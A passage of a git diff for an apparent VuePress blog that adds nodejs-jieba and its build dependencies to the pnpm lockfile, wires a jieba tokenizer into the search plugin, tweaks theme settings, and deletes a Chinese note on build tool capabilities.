/minipass-pipeline@1.2.4: + resolution: {integrity: sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==} + engines: {node: '>=8'} + dependencies: + minipass: 3.3.6 + dev: false + + /minipass-sized@1.0.3: + resolution: {integrity: sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==} + engines: {node: '>=8'} + dependencies: + minipass: 3.3.6 + dev: false + + /minipass@3.3.6: + resolution: {integrity: sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==} + engines: {node: '>=8'} + dependencies: + yallist: 4.0.0 + dev: false + + /minipass@5.0.0: + resolution: {integrity: sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==} + engines: {node: '>=8'} + dev: false + + /minizlib@2.1.2: + resolution: {integrity: sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==} + engines: {node: '>= 8'} + dependencies: + minipass: 3.3.6 + yallist: 4.0.0 + dev: false + /mitt@3.0.1: resolution: {integrity: sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==} dev: true @@ -5261,6 +5655,12 @@ packages: resolution: {integrity: sha512-7NO5s6n10TIV96d4g2uDpG7ZDpIhMh0QNfGdJw/W47JswFcosz457wqz/b5sAKvl12sxINGFCn80NZHKwxQEXA==} dev: true + /mkdirp@1.0.4: + resolution: {integrity: sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==} + engines: {node: '>=10'} + hasBin: true + dev: false + /mpegts.js@1.7.3: resolution: {integrity: sha512-kqZ1C1IsbAQN72cK8vMrzKeM7hwrwSBbFAwVAc7PPweOeoZxCANrc7fAVDKMfYUzxdNkMTnec9tVmlxmKZB0TQ==} dependencies: @@ -5275,7 +5675,6 @@ packages: /ms@2.1.2: resolution: {integrity: sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==} - dev: true /mute-stream@0.0.7: resolution: {integrity: sha512-r65nCZhrbXXb6dXOACihYApHw2Q6pV0M3V0PSxd74N0+D8nzAdEAITq2oAjA1jVnKI+tGvEBUpqiMh0+rW6zDQ==} @@ -5287,14 +5686,84 @@ packages: hasBin: true dev: true + /negotiator@0.6.3: + resolution: {integrity: sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==} + engines: {node: '>= 0.6'} + dev: false + + /node-addon-api@6.1.0: + resolution: {integrity: sha512-+eawOlIgy680F0kBzPUNFhMZGtJ1YmqM6l4+Crf4IkImjYrO/mqPwRMh352g23uIaQKFItcQ64I7KMaJxHgAVA==} + dev: false + + /node-fetch@2.6.12: + resolution: {integrity: sha512-C/fGU2E8ToujUivIO0H+tpQ6HWo4eEmchoPIoXtxCrVghxdKq+QOHqEZW7tuP3KlV3bC8FRMO5nMCC7Zm1VP6g==} + engines: {node: 4.x || >=6.0.0} + peerDependencies: + encoding: ^0.1.0 + peerDependenciesMeta: + encoding: + optional: true + dependencies: + whatwg-url: 5.0.0 + dev: false + + /node-gyp@9.4.0: + resolution: {integrity: sha512-dMXsYP6gc9rRbejLXmTbVRYjAHw7ppswsKyMxuxJxxOHzluIO1rGp9TOQgjFJ+2MCqcOcQTOPB/8Xwhr+7s4Eg==} + engines: {node: ^12.13 || ^14.13 || >=16} + hasBin: true + dependencies: + env-paths: 2.2.1 + exponential-backoff: 3.1.1 + glob: 7.2.0 + graceful-fs: 4.2.10 + make-fetch-happen: 11.1.1 + nopt: 6.0.0 + npmlog: 6.0.2 + rimraf: 3.0.2 + semver: 7.5.4 + tar: 6.1.15 + which: 2.0.2 + transitivePeerDependencies: + - supports-color + dev: false + /node-releases@2.0.13: resolution: {integrity: sha512-uYr7J37ae/ORWdZeQ1xxMJe3NtdmqMC/JZK+geofDrkLUApKRHPd18/TxtBOJ4A0/+uUIliorNrfYV6s1b02eQ==} dev: true + /nodejs-jieba@0.0.2: + resolution: {integrity: sha512-x57xF83hPwazO+8cfCDNRtxEiPdswxOdTJ+RTjkAAIE266o+ZFVOFP8Gwv9t88q5Frpy9lMHjVg+VMxY55Avwg==} + engines: {node: '>= 16'} + requiresBuild: true + dependencies: + '@mapbox/node-pre-gyp': 1.0.10 + node-addon-api: 6.1.0 + node-gyp: 9.4.0 + transitivePeerDependencies: + - encoding + - supports-color + dev: false + /non-layered-tidy-tree-layout@2.0.2: resolution: {integrity: sha512-gkXMxRzUH+PB0ax9dUN0yYF0S25BqeAYqhgMaLUFmpXLEk7Fcu8f4emJuOAY0V8kjDICxROIKsTAKsV/v355xw==} dev: true + /nopt@5.0.0: + resolution: {integrity: sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==} + engines: {node: '>=6'} + hasBin: true + dependencies: + abbrev: 1.1.1 + dev: false + + /nopt@6.0.0: + resolution: {integrity: sha512-ZwLpbTgdhuZUnZzjd7nb1ZV+4DoiC6/sfiVKok72ym/4Tlf+DFdlHYmT2JPmcNNWV6Pi3SDf1kT+A4r9RTuT9g==} + engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0} + hasBin: true + dependencies: + abbrev: 1.1.1 + dev: false + /normalize-package-data@2.5.0: resolution: {integrity: sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==} dependencies: @@ -5338,12 +5807,36 @@ packages: path-key: 4.0.0 dev: true + /npmlog@5.0.1: + resolution: {integrity: sha512-AqZtDUWOMKs1G/8lwylVjrdYgqA4d9nu8hc+0gzRxlDb1I10+FHBGMXs6aiQHFdCUUlqH99MUMuLfzWDNDtfxw==} + dependencies: + are-we-there-yet: 2.0.0 + console-control-strings: 1.1.0 + gauge: 3.0.2 + set-blocking: 2.0.0 + dev: false + + /npmlog@6.0.2: + resolution: {integrity: sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg==} + engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0} + dependencies: + are-we-there-yet: 3.0.1 + console-control-strings: 1.1.0 + gauge: 4.0.4 + set-blocking: 2.0.0 + dev: false + /nth-check@2.1.1: resolution: {integrity: sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==} dependencies: boolbase: 1.0.0 dev: true + /object-assign@4.1.1: + resolution: {integrity: sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==} + engines: {node: '>=0.10.0'} + dev: false + /object-inspect@1.12.0: resolution: {integrity: sha512-Ho2z80bVIvJloH+YzRmpZVQe87+qASmBUKZDWgx9cu+KDrX2ZDH/3tMy+gXbZETVGs2M8YdxObOh7XAtim9Y0g==} dev: true @@ -5367,7 +5860,6 @@ packages: resolution: {integrity: sha1-WDsap3WWHUsROsF9nFC6753Xa9E=} dependencies: wrappy: 1.0.2 - dev: true /onetime@2.0.1: resolution: {integrity: sha512-oyyPpiMaKARvvcgip+JV+7zci5L8D1W9RZIz2l1o08AM3pfspitVWnPt3mzHcBPp12oYMTy0pqrFs/C+m3EwsQ==} @@ -5444,6 +5936,13 @@ packages: p-limit: 3.1.0 dev: true + /p-map@4.0.0: + resolution: {integrity: sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==} + engines: {node: '>=10'} + dependencies: + aggregate-error: 3.1.0 + dev: false + /p-try@2.2.0: resolution: {integrity: sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==} engines: {node: '>=6'} @@ -5496,12 +5995,10 @@ packages: /path-is-absolute@1.0.1: resolution: {integrity: sha1-F0uSaHNVNP+8es5r9TpanhtcX18=} engines: {node: '>=0.10.0'} - dev: true /path-key@3.1.1: resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} engines: {node: '>=8'} - dev: true /path-key@4.0.0: resolution: {integrity: sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ==} @@ -5512,6 +6009,14 @@ packages: resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==} dev: true + /path-scurry@1.10.1: + resolution: {integrity: sha512-MkhCqzzBEpPvxxQ71Md0b1Kk51W01lrYvlMzSUaIzNsODdd7mqhiimSZlr+VegAz5Z6Vzt9Xg2ttE//XBhH3EQ==} + engines: {node: '>=16 || 14 >=14.17'} + dependencies: + lru-cache: 10.0.0 + minipass: 5.0.0 + dev: false + /path-type@4.0.0: resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==} engines: {node: '>=8'} @@ -5586,6 +6091,14 @@ packages: engines: {node: '>=6'} dev: true + /promise-retry@2.0.1: + resolution: {integrity: sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==} + engines: {node: '>=10'} + dependencies: + err-code: 2.0.3 + retry: 0.12.0 + dev: false + /punycode@2.1.1: resolution: {integrity: sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==} engines: {node: '>=6'} @@ -5658,7 +6171,6 @@ packages: inherits: 2.0.4 string_decoder: 1.3.0 util-deprecate: 1.0.2 - dev: true /readdirp@3.6.0: resolution: {integrity: sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==} @@ -5796,6 +6308,11 @@ packages: signal-exit: 3.0.7 dev: true + /retry@0.12.0: + resolution: {integrity: sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==} + engines: {node: '>= 4'} + dev: false + /reusify@1.0.4: resolution: {integrity: sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==} engines: {iojs: '>=1.0.0', node: '>=0.10.0'} @@ -5806,6 +6323,13 @@ packages: engines: {node: '>=10.0.0'} dev: true + /rimraf@3.0.2: + resolution: {integrity: sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==} + hasBin: true + dependencies: + glob: 7.2.0 + dev: false + /robust-predicates@3.0.1: resolution: {integrity: sha512-ndEIpszUHiG4HtDsQLeIuMvRsDnn8c8rYStabochtUeCvfuvNptb5TUbVD68LRAILPX7p9nqQGh4xJgn3EHS/g==} dev: true @@ -5874,11 +6398,9 @@ packages: /safe-buffer@5.2.1: resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==} - dev: true /safer-buffer@2.1.2: resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==} - dev: true /sass@1.63.6: resolution: {integrity: sha512-MJuxGMHzaOW7ipp+1KdELtqKbfAWbH7OLIdoSMnVe3EXPMTmxTmlaZDCTsgIpPCs3w99lLo9/zDKkOrJuT5byw==} @@ -5914,7 +6436,6 @@ packages: /semver@6.3.0: resolution: {integrity: sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==} hasBin: true - dev: true /semver@7.0.0: resolution: {integrity: sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A==} @@ -5943,7 +6464,6 @@ packages: hasBin: true dependencies: lru-cache: 6.0.0 - dev: true /serialize-javascript@4.0.0: resolution: {integrity: sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==} @@ -5953,19 +6473,16 @@ packages: /set-blocking@2.0.0: resolution: {integrity: sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==} - dev: true /shebang-command@2.0.0: resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} engines: {node: '>=8'} dependencies: shebang-regex: 3.0.0 - dev: true /shebang-regex@3.0.0: resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} engines: {node: '>=8'} - dev: true /side-channel@1.0.4: resolution: {integrity: sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==} @@ -5977,7 +6494,11 @@ packages: /signal-exit@3.0.7: resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==} - dev: true + + /signal-exit@4.0.2: + resolution: {integrity: sha512-MY2/qGx4enyjprQnFaZsHib3Yadh3IXyV2C321GY0pjGfVBu4un0uDJkwgdxqO+Rdx8JMT8IfJIRwbYVz3Ob3Q==} + engines: {node: '>=14'} + dev: false /sitemap@7.1.1: resolution: {integrity: sha512-mK3aFtjz4VdJN0igpIJrinf3EO8U8mxOPsTBzSsy06UtjZQJ3YY3o3Xa7zSc5nMqcMrRwlChHZ18Kxg0caiPBg==} @@ -5999,6 +6520,30 @@ packages: resolution: {integrity: sha512-ig1Du+U5LFngeDokhUupBqmEz3aKRJ4v+R2t6ZOi3aPGaFivYxxOiDcJX7fR0xPxjmTe94rAA6RW5gKlX5Gcsg==} dev: true + /smart-buffer@4.2.0: + resolution: {integrity: sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==} + engines: {node: '>= 6.0.0', npm: '>= 3.0.0'} + dev: false + + /socks-proxy-agent@7.0.0: + resolution: {integrity: sha512-Fgl0YPZ902wEsAyiQ+idGd1A7rSFx/ayC1CQVMw5P+EQx2V0SgpGtf6OKFhVjPflPUl9YMmEOnmfjCdMUsygww==} + engines: {node: '>= 10'} + dependencies: + agent-base: 6.0.2 + debug: 4.3.4 + socks: 2.7.1 + transitivePeerDependencies: + - supports-color + dev: false + + /socks@2.7.1: + resolution: {integrity: sha512-7maUZy1N7uo6+WVEX6psASxtNlKaNVMlGQKkG/63nEDdLOWNbiUMoLK7X4uYoLhQstau72mLgfEWcXcwsaHbYQ==} + engines: {node: '>= 10.13.0', npm: '>= 3.0.0'} + dependencies: + ip: 2.0.0 + smart-buffer: 4.2.0 + dev: false + /source-map-js@1.0.2: resolution: {integrity: sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==} engines: {node: '>=0.10.0'} @@ -6068,6 +6613,13 @@ packages: resolution: {integrity: sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==} dev: true + /ssri@10.0.4: + resolution: {integrity: sha512-12+IR2CB2C28MMAw0Ncqwj5QbTcs0nGIhgJzYWzDkb21vWmfNI83KS4f3Ci6GI98WreIfG7o9UXp3C0qbpA8nQ==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + dependencies: + minipass: 5.0.0 + dev: false + /stdin-discarder@0.1.0: resolution: {integrity: sha512-xhV7w8S+bUwlPTb4bAOUQhv8/cSS5offJuX8GQGq32ONF0ZtDWKfkdomM3HMRA+LhX6um/FZ0COqlwsjD53LeQ==} engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} @@ -6090,7 +6642,15 @@ packages: emoji-regex: 8.0.0 is-fullwidth-code-point: 3.0.0 strip-ansi: 6.0.1 - dev: true + + /string-width@5.1.2: + resolution: {integrity: sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==} + engines: {node: '>=12'} + dependencies: + eastasianwidth: 0.2.0 + emoji-regex: 9.2.2 + strip-ansi: 7.0.1 + dev: false /string.prototype.matchall@4.0.7: resolution: {integrity: sha512-f48okCX7JiwVi1NXCVWcFnZgADDC/n2vePlQ/KUCNqCikLLilQvwjMO8+BHVKvgzH0JB0J9LEPgxOGT02RoETg==} @@ -6125,7 +6685,6 @@ packages: resolution: {integrity: sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==} dependencies: safe-buffer: 5.2.1 - dev: true /stringify-object@3.3.0: resolution: {integrity: sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==} @@ -6155,14 +6714,12 @@ packages: engines: {node: '>=8'} dependencies: ansi-regex: 5.0.1 - dev: true /strip-ansi@7.0.1: resolution: {integrity: sha512-cXNxvT8dFNRVfhVME3JAe98mkXDYN2O1l7jmcwMnOslDeESg1rF/OZMtK0nRAhiari1unG5cD4jG3rapUAkLbw==} engines: {node: '>=12'} dependencies: ansi-regex: 6.0.1 - dev: true /strip-bom-string@1.0.0: resolution: {integrity: sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g==} @@ -6228,6 +6785,18 @@ packages: engines: {node: '>= 0.4'} dev: true + /tar@6.1.15: + resolution: {integrity: sha512-/zKt9UyngnxIT/EAGYuxaMYgOIJiP81ab9ZfkILq4oNLPFX50qyYmu7jRj9qeXoxmJHjGlbH0+cm2uy1WCs10A==} + engines: {node: '>=10'} + dependencies: + chownr: 2.0.0 + fs-minipass: 2.1.0 + minipass: 5.0.0 + minizlib: 2.1.2 + mkdirp: 1.0.4 + yallist: 4.0.0 + dev: false + /temp-dir@2.0.0: resolution: {integrity: sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==} engines: {node: '>=8'} @@ -6288,6 +6857,10 @@ packages: is-number: 7.0.0 dev: true + /tr46@0.0.3: + resolution: {integrity: sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==} + dev: false + /tr46@1.0.1: resolution: {integrity: sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==} dependencies: @@ -6426,6 +6999,20 @@ packages: engines: {node: '>=4'} dev: true + /unique-filename@3.0.0: + resolution: {integrity: sha512-afXhuC55wkAmZ0P18QsVE6kp8JaxrEokN2HGIoIVv2ijHQd419H0+6EigAFcIzXeMIkcIkNBpB3L/DXB3cTS/g==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + dependencies: + unique-slug: 4.0.0 + dev: false + + /unique-slug@4.0.0: + resolution: {integrity: sha512-WrcA6AyEfqDX5bWige/4NQfPZMtASNVxdmWR76WESYQVAACSgWcR6e9i0mofqqBxYFtL4oAxPIptY73/0YE1DQ==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + dependencies: + imurmurhash: 0.1.4 + dev: false + /unique-string@2.0.0: resolution: {integrity: sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==} engines: {node: '>=8'} @@ -6482,7 +7069,6 @@ packages: /util-deprecate@1.0.2: resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==} - dev: true /uuid@9.0.0: resolution: {integrity: sha512-MXcSTerfPa4uqyzStbRoTgt5XIe3x5+42+q1sDuy3R5MDk66URdLMOZe5aPX/SQd+kuYAh0FdP/pO28IkQyTeg==} @@ -7263,6 +7849,10 @@ packages: resolution: {integrity: sha512-PgF341avzqyx60neE9DD+XS26MMNMoUQRz9NOZwW32nPQrF6p77f1htcnjBSEV8BGMKZ16choqUG4hyI0Hx7mA==} dev: true + /webidl-conversions@3.0.1: + resolution: {integrity: sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==} + dev: false + /webidl-conversions@4.0.2: resolution: {integrity: sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==} dev: true @@ -7271,6 +7861,13 @@ packages: resolution: {integrity: sha512-2akF8FIyUvbiBBdD+RoHpoTbHMQF2HwjcxfDvgztAX5YwbZNyrtfUMgvfgFVsgDhDPVTlkbb5vyasqDHfIDPQw==} dev: true + /whatwg-url@5.0.0: + resolution: {integrity: sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==} + dependencies: + tr46: 0.0.3 + webidl-conversions: 3.0.1 + dev: false + /whatwg-url@7.1.0: resolution: {integrity: sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==} dependencies: @@ -7306,12 +7903,17 @@ packages: hasBin: true dependencies: isexe: 2.0.0 - dev: true /wicked-good-xpath@1.3.0: resolution: {integrity: sha512-Gd9+TUn5nXdwj/hFsPVx5cuHHiF5Bwuc30jZ4+ronF1qHK5O7HD0sgmXWSEgwKquT3ClLoKPVbO6qGwVwLzvAw==} dev: true + /wide-align@1.1.5: + resolution: {integrity: sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==} + dependencies: + string-width: 4.2.3 + dev: false + /word-wrap@1.2.3: resolution: {integrity: sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==} engines: {node: '>=0.10.0'} @@ -7479,11 +8081,18 @@ packages: ansi-styles: 4.3.0 string-width: 4.2.3 strip-ansi: 6.0.1 - dev: true + + /wrap-ansi@8.1.0: + resolution: {integrity: sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==} + engines: {node: '>=12'} + dependencies: + ansi-styles: 6.2.1 + string-width: 5.1.2 + strip-ansi: 7.0.1 + dev: false /wrappy@1.0.2: resolution: {integrity: sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=} - dev: true /xml-js@1.6.11: resolution: {integrity: sha512-7rVi2KMfwfWFl+GpPg6m80IVMWXLRjO+PxTq7V2CDhoGak0wzYzFgUY2m4XJ47OGdXd8eLE8EmwfAmdjw7lC1g==} @@ -7512,7 +8121,6 @@ packages: /yallist@4.0.0: resolution: {integrity: sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==} - dev: true /yaml@1.10.2: resolution: {integrity: sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==} diff --git a/src/.vuepress/config.ts b/src/.vuepress/config.ts index 3b2bec2b..2078f593 100644 --- a/src/.vuepress/config.ts +++ b/src/.vuepress/config.ts @@ -1,5 +1,6 @@ import {defineUserConfig} from "vuepress"; import {searchProPlugin} from "vuepress-plugin-search-pro"; +import { cut } from "nodejs-jieba"; import theme from "./theme"; export default defineUserConfig({ @@ -43,6 +44,11 @@ export default defineUserConfig({ placeholder: "搜索", } }, + indexOptions: { + // 使用 nodejs-jieba 进行分词 + tokenize: (text, fieldName) => + fieldName === "id" ? [text] : cut(text, true), + }, // 自定义搜索项目 https://vuepress-theme-hope.github.io/v2/search-pro/zh/config.html#customfields customFields: [ { diff --git a/src/.vuepress/theme.ts b/src/.vuepress/theme.ts index 59c6bd10..ccd68e6f 100644 --- a/src/.vuepress/theme.ts +++ b/src/.vuepress/theme.ts @@ -48,7 +48,7 @@ export default hopeTheme({ plugins: { blog: { - autoExcerpt: true, + }, // 你也可以使用 Waline @@ -61,17 +61,15 @@ export default hopeTheme({ }, mdEnhance: { - presentation: { - plugins: ["highlight", "math", "search", "notes", "zoom"], - }, - }, - copyright: { - hostname: "https://yihuiblog.top", - author: 'YihuiBlog', - license: 'CC-BY 4.0', - global: true, - triggerWords: 20, + presentation: ["highlight", "math", "search", "notes", "zoom"], }, + // copyright: { + // hostname: "https://yihuiblog.top", + // author: 'YihuiBlog', + // license: 'CC-BY 4.0', + // global: true, + // triggerWords: 20, + // }, copyCode: {}, }, fullscreen: false, diff --git "a/src/JavaScript/\346\236\204\345\273\272\345\267\245\345\205\267\345\272\224\350\257\245\345\214\205\345\220\253\345\223\252\344\272\233\350\203\275\345\212\233\357\274\237.md" "b/src/JavaScript/\346\236\204\345\273\272\345\267\245\345\205\267\345\272\224\350\257\245\345\214\205\345\220\253\345\223\252\344\272\233\350\203\275\345\212\233\357\274\237.md" deleted file mode 100644 index 26f697e6..00000000 --- "a/src/JavaScript/\346\236\204\345\273\272\345\267\245\345\205\267\345\272\224\350\257\245\345\214\205\345\220\253\345\223\252\344\272\233\350\203\275\345\212\233\357\274\237.md" +++ /dev/null @@ -1,64 +0,0 @@ -# 构建工具应该包含哪些能力? - -## 源码转义 - -- 支持TypeScript -- 支持 JavaScript 高级语法(ES2022) -- 压缩(模块、语句合并) -- Tree Shaking -- 常量标志(比如 `process.env.NODE_ENV` 、Vite `import.meta.env.*`的处理) -- 图片压缩、转换(imagemin) -- SVG压缩(svgo) - -## 格式输出 - -- CommonJS -- ES Module -- UMD - -## 非JavaScript资源处理 - -- CSS(包括 CSS Modules、Inline 引入、CSS Extract、以 URL 的方式引入;特殊的:PostCSS、TailwindCSS处理等) -- HTML(包括 Inline 载入脚本、外链载入脚本、Preload 图片和字体等、Preload 依赖脚本) -- 依赖(包括产出 CSS 里依赖的三方文件、相同资源去重) -- 入口(包括支持非 JS 的入口文件、多入口处理) -- 图片(包括 data-url、url 两种形式) -- Service Worker -- Binary(包括 array buffer、url 两种形式;wasm) -- 自定义类型 - -## 引入模块 - -- Common JS -- ES Module -- 来自 Node Modules 的依赖 - -## Hashing - -- [Asset-of-asset hash cascading](https://bundlers.tooling.report/hashing/asset-of-asset-cascade/) - -## Code Splitting - -- Dynamic Import(`import()`) -- 